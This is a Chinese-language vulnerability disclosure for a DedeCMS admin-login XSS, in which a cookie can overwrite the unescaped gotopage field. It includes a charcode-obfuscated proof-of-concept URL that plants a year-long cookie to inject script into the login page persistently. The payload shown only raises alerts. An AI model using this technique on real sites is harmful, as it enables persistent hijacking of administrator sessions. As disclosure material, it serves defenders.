影响版本：

DEDECMS全版本

漏洞描叙：

DEDECMS后台登陆模板中的gotopage变量未效验传入数据，导致XSS漏洞。

\dede\templets\login.htm

65行左右

<input type="hidden" name="gotopage" value="<?php if(!empty($gotopage)) echo $gotopage;?>" />

由于DEDECMS的全局变量注册机制，该变量内容可以被COOKIE变量覆盖,COOKIE可以在客户端持久化存储，最终导致一个XSS ROOTKIT。

漏洞危害：

管理员在触发DEDECMS任意的XSS漏洞(如留言本XSS)后，可以通过该漏洞永久劫持覆盖gotopage变量，在DEDECMS的后台登陆页面永久嵌入任意的恶意代码。

验证：

1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。

http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="

2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。

http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda

http://v57.demo.dedecms.com/dede/login.php

参考：

深掘XSS漏洞场景之XSS Rootkit[完整修订版]

http://www.80sec.com/%e6%b7%b1%e6%8e%98xss%e6%bc%8f%e6%b4%9e%e5%9c%ba%e6%99%af%e4%b9%8bxss-rootkit-%e4%bf%ae%e8%ae%a2.html

最新文章

  1. Visual Studio 版本转换工具WPF版开源了
  2. 《final修饰基本类型变量和引用类型变量的区别》
  3. 文件 FIFO队列
  4. Linux01--文件管理，常用命令 权限管理
  5. iOS中的多线程基础
  6. 分类算法-----KNN
  7. NSTimer的精确度
  8. DNS over TLS到底有多牛？你想知道的都在这儿
  9. hadoop之数据压缩与数据格式
  10. deep learning的一些知识点
  11. 数据库中id为自增
  12. 事件处理程序（HTML）
  13. 剑指Offer 11. 二进制中1的个数 （其他）
  14. 【转】Java学习---线程间的通信
  15. spring加载jar包中多个配置文件(转)
  16. UVa 1149 装箱
  17. Thunder团队Final版本控制
  18. C语言程序设计50例(一）(经典收藏)
  19. c++11 左值引用、右值引用
  20. day14 多态与抽象

热门文章

  1. U3D assetbundle加载与卸载的深入理解
  2. Qt——QLineEdit使用总结
  3. 基于React Native的Material Design风格的组件库 MRN
  4. PagerIndicator主题样式修改
  5. 路由器 NorFlash与NandFlash区别
  6. Ubuntu驱动摄像头
  7. css编写的时候注意什么
  8. asp.net网站安全常见问题与防范
  9. 字符串string类型转换成DateTime或DateTime?类型
  10. DOM系列---DOM操作表格